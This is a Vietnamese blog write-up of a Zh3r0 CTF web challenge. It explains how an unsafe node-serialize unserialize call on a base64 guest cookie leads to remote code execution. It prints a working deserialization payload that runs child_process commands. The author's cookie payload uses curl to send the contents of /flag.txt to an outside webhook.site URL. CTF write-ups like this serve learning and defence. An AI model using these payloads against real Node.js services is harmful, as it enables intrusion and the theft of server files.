Write-up Zh3r0 CTF

Zh3r0 CTF là giải CTF vô cùng hoành tráng và nhiều nhà tài trợ khổng lồ như OFFENSIVE security, Digital Ocean,… với phần thưởng có giá trị lên tới 500$.

Với giao diện tuyệt cool cùng với hiệu ứng đầy thú vị, Zh3r0 CTF đã thu hút người chơi từ cái nhìn đầu tiên. Chúng ta hãy thử start 1 bài Web xem nó có thú vị như giải thưởng không nhé :v

Hay lắm mình thử truy cập vào website xem có gì không? Và kết quả là không truy cập được các bạn ạ, trình duyệt báo lỗi “might be temporarily down or it may have moved permanently to a new web address” :>. Đành mò thử source code xem sao :)).
Sau khi xem qua, mình thấy flag được để trong file flag.txt và theo mình nghĩ chỉ có cách duy nhất là exploit vào server để đọc file thôi 😶
Sau khi build lại từ source code, vào lại trang chủ thì mình thấy một trang login:

Và page login as guest

Theo như trong source code file server.js, cho dù mình có login như thế nào đi nữa, nó sẽ đưa mình về trang loggedin.ejs chứa gif “go away” :)). Còn nếu mình login as guest, nó sẽ check cookie, nếu có nó sẽ giải mã base64 rồi unserialize cookie đó để lấy username hiện ra màn hình; còn nếu không có nó lấy các biến username, city, … mà mình đã submit lên mã hóa base64 lên rồi cho vào cookie. Thoạt đầu mình xem có lỗi logic nào không nhưng mà xem chừng không có >_>. Mất bao lâu cuối cùng mình đành chọn phương án cuối cùng xem có package nào có lỗ hổng không để khai thác. May quá, có tận 2 package dính lỗi, là ejs và node-serialize.

Lúc đầu mình định khai thác lỗi trong ejs bằng prototype pollution, nhưng hàm render chứa lỗi của nó trong code lại không nhận bất cứ data nào từ bên ngoài vào => không dùng được 😐. Mình tiếp tục đi khai thác lỗi của node-serialize và phải tận một lúc lâu sau mình mới tìm được cái RCE này >:

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);


//Nguồn: https://snyk.io/test/npm/node-serialize

Để ý đoạn code này

Hay lắm đây chính là chỗ cần exploit. Đầu tiên mình tạo payload, mã hóa base64 sau đó cho vào cookie để khai thác thôi :v. Mình dùng webhook để leak data ra ngoài. Payload tham khảo:

{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl https://webhook.site/4408ec40-bd6b-42ae-9f07-20?data=$(cat /flag.txt)')}()"}

Flag: zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}

4 thoughts on “Write-up Zh3r0 CTF

  1. anh ơi anh có thể cho em vài trang blog về hack và bảo mật để em tham khảo với dc k ạ :)) có tiếng việt càng tốt ạ

    Liked by 1 person

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: